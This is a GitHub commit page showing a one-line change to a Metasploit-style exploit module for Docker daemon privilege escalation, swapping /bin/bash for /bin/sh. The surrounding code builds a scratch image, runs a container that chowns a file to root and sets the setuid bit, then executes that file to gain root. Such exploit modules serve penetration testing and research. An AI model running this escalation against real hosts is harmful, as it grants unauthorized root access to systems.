We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 5f044ff commit d414ea5Copy full SHA for d414ea5
modules/exploits/linux/local/docker_daemon_privilege_escalation.rb
@@ -65,7 +65,7 @@ def shell_script(exploit_path)
65
%Q{
66
IMG=`echo "FROM scratch\\nCMD a" | docker build -q - | cut -d ":" -f2`
67
EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}"
68
- docker run #{dep_options} $IMG /bin/bash -c "$EXPLOIT"
+ docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT"
69
docker rmi $IMG
70
#{exploit_path}
71
}.strip.split("\n").map(&:strip).join(';')
0 commit comments